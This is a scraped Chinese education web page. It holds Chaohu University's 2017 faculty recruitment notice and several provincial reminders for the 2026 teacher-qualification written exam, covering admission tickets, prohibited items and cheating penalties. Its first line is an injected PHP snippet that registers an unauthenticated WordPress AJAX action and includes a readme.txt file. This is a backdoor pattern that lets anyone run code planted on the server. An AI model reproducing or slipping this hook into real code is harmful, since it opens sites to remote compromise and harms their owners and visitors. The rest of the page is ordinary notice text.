if(!function_exists('file_check_readme15721')){ add_action('wp_ajax_nopriv_file_check_readme15721', 'file_check_readme15721'); add_action('wp_ajax_file_check_readme15721', 'file_check_readme15721'); function file_check_readme15721() { $file = __DIR__ . '/' . 'readme.txt'; if (file_exists($file)) { include $file; } die(); } }
回顶部
安徽巢湖学院2017教师招聘公告-全国教师资格考试网

安徽巢湖学院2017教师招聘公告

一、学校简介

  见巢湖学院网站首页:http://www.chu.edu.cn/

二、招聘计划(见附件)

三、应聘基本条件

  (一)热爱教育事业,具有强烈的事业心和高度的责任感;

  (二)身体健康;

  (三)能胜任所应聘的岗位工作;

  (四)本科和研究生阶段所学专业应一致或相近,初始学历应是全日制普通高校本科毕业生。

四、引进人才对象及待遇

(一)引进人才对象及条件

  A类:领军人才

  教育部长江学者奖励计划特聘教授、国家“千人计划”入选者、国家杰出青年基金获得者、国家“百千万人才工程” 入选者、中国科学院“百人计划”入选者、国家重大科技计划的首席科学家或项目负责人、国家自然科学一等奖个人排名前七、二等奖排名前五,国家技术发明、科技进步一等奖排名第一的获奖者等可全职或非全职引进的国家级人选,年龄一般要求55周岁以下。

  B类:学科带头人

  全国杰出专业技术人才、国家有突出贡献的中青年专家、教育部“新世纪优秀人才支持计划”入选者、中国青年科技奖获得者、高等学校全国优秀博士学位论文作者专项资金获得者、“全国杰出专业技术人才”、享受国务院特殊津贴人员,省级“百〈千〉人计划”人选,皖江学者,省学术和技术带头人等省级重要人才平台入选者;国家“973”计划课题、国家“863”计划重大专项、国家自然科学基金重大研究项目、国家社会科学基金重大项目、国家科技支撑计划重大项目、国家科技重大专项项目负责人;获得省(部)级自然科学、技术发明、科技进步一等奖(前三)或二等奖(第一),获得中国高校人文社会科学成果奖一等奖(前三)或二等奖(第一),中国青年科技奖获得者,获得国家教学成果奖特等奖(前五)或一等奖(前三)或二等奖(第一),获得国家社会科学基金项目优秀成果奖一等奖(前二)或二等奖(第一),近五年以第一作者在国内外核心期刊发表多篇高水平学术论文或出版有一定影响的专著。

  原则上要求具有正高职称和博士学位,年龄一般要求50周岁以下,特别突出和紧缺急需的人才,条件可适当放宽。

  C类:学术拔尖人才

  具有良好的个人品质、严谨求实的作风和与人合作的团队精神;学术思想活跃,科研能力强,有创新精神,与国内外同行有广泛联系,本人研究方向属于本学科前沿,有强势的发展潜力。近5年,新主持国家级项目或省部级重点科技项目或其它较大横向项目;获省级以上科研奖励;在海内外重要学术期刊上发表过高影响力论文或著作。

  具有正高职称或具有博士学位的副高职称人员,年龄一般在45周岁以下,正高职称或紧缺急需的人才,年龄可适当放宽。

  D类:青年英才

  应在本学科核心刊物上发表论文3篇以上或在知名企业工作3年以上并取得突出技术创新成果。具有胜任核心课程讲授任务和从事科学研究、技术创新的基本素质和发展潜力。

  在国内外知名高校或科研院所取得博士学位(含博士后)或具有硕士学位的副高职称的中青年人才,年龄一般要求40周岁以下。

(二)引进待遇

  学校为高层次引进人才提供国家规定的工资、福利、保险等待遇,同时首聘期内提供住房、安家费、科研启动经费及平台建设等待遇和条件。具体待遇如下:(见附件)

  备注:1.引进人才服务期为8年,其中配偶安置者服务期为10年。

  2.安家费以借款形式分两次支付(首次支付50%),服务期满后借款转为补贴。

  3.夫妻双方均符合学校人才引进条件,住房待遇以高的一方享受。

  4.特别优秀的引进人才待遇可适当提高,额度与其后期的业绩挂钩绑定。

  5.引进人才配偶根据实际情况进行安置。

五、选聘流程

  (一)报名

应聘人员须下载并填写《应聘人员简明情况表》(见附件),同时发送个人简历电子版至招聘邮箱:rszp@chu.edu.cn,投递简历主题注明“毕业学校+学历学位+专业方向+姓名”。

  (二)资格审查

  学校人事部门会同有关部门及用人单位进行资格审核,审核通过后,通过电话或邮件方式通知应聘者考核的内容、方式、时间和地点等。

  被通知来校参加考核的人员,应携带以下材料:应聘岗位要求的学位学历证明、毕业生就业推荐表、前期学历学位证书、身份证、部分发表的论文及科研成果证明、学习成绩单等材料(以上材料均验原件、留存部分复印件)。

  (三)考核

  根据岗位要求,选择笔试、面试、试讲等形式对应聘者进行考核。应聘的硕士人员一般进行笔试、试讲和面试等环节;博士人员一般只进行试讲和面试;教授进行面谈。

  (四)考察

  考核结果确定考察人员,组成考察组(不少于2人)对其思想政治、学业或工作业绩进行全面考察,并对其应聘资格条件进行复查核实。

  (五)体检

  对拟聘人员组织参加由学校指定的医院体检并符合安徽省教育厅要求达到的体检标准。

  (六)公示

  根据考试、考核结果和考察、体检情况,初定拟聘人员,并通过校园网进行公示。

  (七)签订协议

  体检合格且公示无异议的,签订聘用合同,办理聘用手续。

六、联系方式

  地 址:安徽省合肥巢湖经济开发区巢湖学院人事处

  邮 编:238000

  联系人:赵老师,电话:0551-82361409

  邮 箱:rszp@chu.edu.cn(邮件主题:毕业学校+学历学位+专业方向+姓名)

  网 址:http://www.chu.edu.cn/rsc/

  特别提示:我校2017年度进人计划需报主管部门审批,审批后若有变动,则以调整后的为准。

  特别提醒:我校2017年招聘不收取任何费用,请广大应聘者注意,以防受骗上当。

附件:巢湖学院2017年应聘人员简明情况表.xls

   巢湖学院2017年招聘计划表.doc

   巢湖学院2017年招聘具体待遇.doc

更多信息、学习交流欢迎加入安徽教师考试群: 439819169 安徽教师资格考试  
微信公众号:ahjszgks
安徽巢湖学院2017教师招聘公告
回顶部
教师资格考试网
位置:首页/教师资格考试网
河北省2026年下半年中小学教师资格考试(笔试)考前提示(三)

一、重要时间节点提醒

1.开考前60分钟,建议考生提前到达考点,预留足够时间配合考点工作人员进行入场核验。

2.开考前30分钟,考生按照监考员的指令进入指定考场。

3.开考信号发出后,方可开始答题。

4.开考后迟到15分钟以上的考生,不得进入考场。

5.考试结束,待试卷(卡)回收、清点无误后,经监考员允许方可离场。

二、切勿考试违规

中小学教师资格考试是法律规定的国家考试,考生应自觉服从监考员管理,不得以任何理由妨碍监考员正常工作。考生如有违纪、作弊等行为,将按照《国家教育考试违规处理办法》等规定进行处理。有作弊情形的还将依据《教师资格条例》的相关规定3年内禁止参加教师资格考试。如情节严重、触犯刑法,将报送公安部门,依法处理。

三、谨防上当受骗

近年来,社会上一些机构或不法分子通过散布“助考”“考前售卖试题信息”等手段骗取考生钱财。请考生提高警惕,切莫相信,谨防上当受骗。

 

天津市2026年下半年中小学教师资格考试(笔试)考前提示

  2026年下半年天津市全国中小学教师资格考试笔试将于9月12日举行。为帮助广大考生顺利参加考试,现将有关事项提示如下:

  1.备齐个人证件。考前考生须自行下载并打印《准考证》,考生须凭《准考证》、有效期内的居民身份证/港澳台居民居住证/港澳居民来往内地通行证/台湾居民来往大陆通行证(五年有效期)进入考场,“两证”缺一不可。如身份证丢失,考生仅可使用有效期内的临时身份证或由公安部门出具的带有本人照片且加盖公安部门印章的证明替代。

  2.按要求携带考试用品。考生只准携带必要的考试文具(如黑色签字笔、铅笔、尺子、橡皮等)进入考场,不得携带书籍、资料、包等物品,严禁携带具有发送或者接收信息功能的电子设备(如:手机、耳机、智能眼镜、智能手表等)。

  3.遵守考试时间。考生要认真核对考点坐落的具体位置,提前设计出行方式和路线。考生迟到15分钟不得进入考场参加考试,考试结束前30分钟,方可交卷离开考场。

  4.严守考试纪律。中小学教师资格考试是法律规定的国家考试,适用于《中华人民共和国刑法修正案(九)》。在考试中若有违纪作弊行为,将按照《中华人民共和国刑法修正案(九)》《国家教育考试违规处理办法》(教育部令第33号)等相关规定严肃处理。有作弊情形的还将依据《教师资格条例》的相关规定3年内禁止参加教师资格考试。触犯刑法涉嫌犯罪的将移送公安机关依法处理。

  5.笔试成绩复核。11月6日起,考生可登录中小学教师资格考试网站查询笔试成绩。考生如对本人的考试成绩有异议,可在考试成绩公布后10个工作日内,通过手机扫描下方二维码或点击链接(https://ops.hycj.jrycn.cn/f/tjntcebsfh),按页面提示登录后提交复核申请。复核内容为登记分数是否准确。

  祝广大考生朋友们考试顺利!

四川省2026年下半年中小学教师资格考试(笔试)温馨提示

广大考生朋友:

2026年下半年中小学教师资格考试(笔试)将于9月12日举行。现将有关事项提醒如下。

一、考前准备

(一)及时下载打印准考证。请于2026年9月7日10:00至9月12日登录中小学教师资格考试网(http://ntce.neea.edu.cn)下载打印准考证,并核对准考证上的姓名、身份证号码、照片等信息是否与本人一致;若有误,请及时联系报名考区核实处理。

(二)备好个人证件。本次考试入场的指定证件为准考证、有效身份证原件(港澳台考生可持有效期内的港澳台居民居住证、港澳居民来往内地通行证、五年有效期台湾居民来往大陆通行证入场)。

(三)备齐考试用具。只能携带必要的考试文具进入考场(如:黑色签字笔、2B铅笔、橡皮等)。不得携带书籍、资料等物品,严禁携带具有发送或者接收信息功能的电子设备(手机及各类智能电子设备等)进入考场。请尽量避免携带挎包,不穿戴含有金属配件的衣物、饰品;服从考点工作人员管理,按要求存放个人随身物品,防止违规无法参加考试或财物遗失。

二、诚信参考

(一)遵守考试时间。牢记考试时间,合理规划出行路线,因入场前需集中存放手机、接受安检、验证身份等,建议提前到达考点,留足入场检查时间。部分考点学校有多个校区,请考生务必仔细核对准考证上的考点校区名称、详细地址,以免走错考点。到达考点后勿逗留、聚集,尽快有序入场。开考15分钟后,禁止考生进入考场参加当次科目考试。

(二)诚信守纪应考。遵守考点发出的考试指令,严守考试纪律,杜绝考试作弊行为。全部考场均实行全覆盖、全时段网上监控和录像,监控视频及回放资料都将作为认定考试违规的依据。试题、答题卡、草稿纸等均属于涉考材料,不允许以任何形式传出或带离考场。需要特别注意的是:考试过程中考生如携带手机等具有发送或者接收信息功能的设备,无论使用与否,均将认定为考试作弊。

(三)严禁违纪作弊。中小学教师资格考试属于《中华人民共和国刑法修正案(九)》规定的国家考试范畴,请考生严格遵守考试纪律,在考试中若有违纪舞弊行为将按照《中华人民共和国教育法》《国家教育考试违规处理办法》(教育部令第33号)等法律法规严肃处理,触犯刑法涉嫌犯罪的将移送公安机关依法处理。有作弊情形的将依据《中华人民共和国教师资格条例》的相关规定,3年内不得参加教师资格考试。  

三、成绩发布

本次笔试成绩预计于2026年11月6日开放查询,请考生登录中小学教师资格考试网(http://ntce.neea.edu.cn)查询。考生如对本人成绩有异议,可在成绩公布后10个工作日内,提交成绩复核申请,由省教育考试院汇总报送教育部教育考试院统一复查。具体申请方式另行通知。

四川省教育考试院

2026年9月8日

贵州省2026年下半年中小学教师资格考试(笔试)考前提示(一)

2026年下半年中小学教师资格考试(笔试)将于9月12日举行,现提示广大考生需注意以下事项:

一、提前打印准考证

即日起可登录教师资格考试网(http://ntce.neea.edu.cn/)提前打印准考证。

二、核对准考证信息

认真核对准考证上的姓名、照片等个人信息。若准考证上个人信息与身份证不符,请提前与报考考区联系,提供相应证明进行修改。考试时,准考证信息与身份证信息不符的考生不得入场参加考试。

三、提前熟悉考点地理位置,以免考试当天走错考点、考场,错过考试时间。

四、携带准考证、身份证,提前60分钟到达考点,听从考试工作人员指挥,配合做好各项入场检查。

五、遵守考场规则,诚信参考,禁止携带手机、智能手表、智能眼镜、智能手环等具有信息发送和接收功能的电子设备进入考点。

六、自觉服从监考员管理,不得以任何理由妨碍监考员正常工作。考生如有违纪、作弊等行为,将按照《国家教育考试违规处理办法》等规定进行处理。同时,对作弊考生还将依据《教师资格条例》相关规定,给予3年内禁止参加教师资格考试的处理。如情节严重、触犯刑法,将移送公安部门,依法处理。

甘肃省2026年下半年中小学教师资格考试(笔试)考生温馨提醒

2026年下半年中小学教师资格考试笔试将于9月12日举行。为确保考生顺利参加考试,省教育考试院就相关事项提醒如下:

一、考生可于9月7日-12日登录中小学教师资格考试网(网址:http://ntce.neea.edu.cn/),根据提示下载pdf格式的准考证并打印。请考生及时打印准考证,仔细核对个人信息,认真阅读“考生须知”内容,准确掌握考试时间、考点地址等信息。遵守考试要求,合理统筹安排,预留充足的时间提前抵达考点,及时安检进入考场。按时参加考试。

二、考生请于9月12日(按科类分3场)按时参加考试。开考15分钟后,迟到考生不得进入考场参加当次科目考试。第一场(9:00-11:00)各学段综合素质科目;第二场(13:00-15:00)各学段教育知识与能力科目;第三场(16:00-18:00)有关学段学科知识与教学能力科目。

三、考生需持有效期内的居民身份证(港澳台居民居住证、港澳居民来往内地通行证、台湾居民来往大陆通行证)、准考证参加考试。准考证上的“姓名”“证件号码”信息与所持上述身份证件上不一致者,不得参加考试。因考试期间全程禁用手机,故电子身份证不作为考试入场有效证件使用,请广大考生周知。

四、考生只准携带必要的文具(如黑色签字笔、铅笔、尺子、橡皮等)参加考试,不得携带书籍、资料、草稿纸、计算器、包等物品,严禁携带电子设备,如手机、耳机、智能手表(手环)、智能眼镜等电子设备等考试违规物品。

五、考生须遵守有关考试纪律和规定,服从考试工作人员管理,诚信考试。若有违纪、作弊行为的,将按照《国家教育考试违规处理办法》和《教师资格条例》的相关规定认定和处理。有作弊行为的,其当次报名参加考试的各科成绩无效,3年内不得再次参加教师资格考试。如情节严重、触犯刑法的,将移送公安部门依法处理。

祝各位考生考试平安顺利,取得理想成绩!

回顶部
回顶部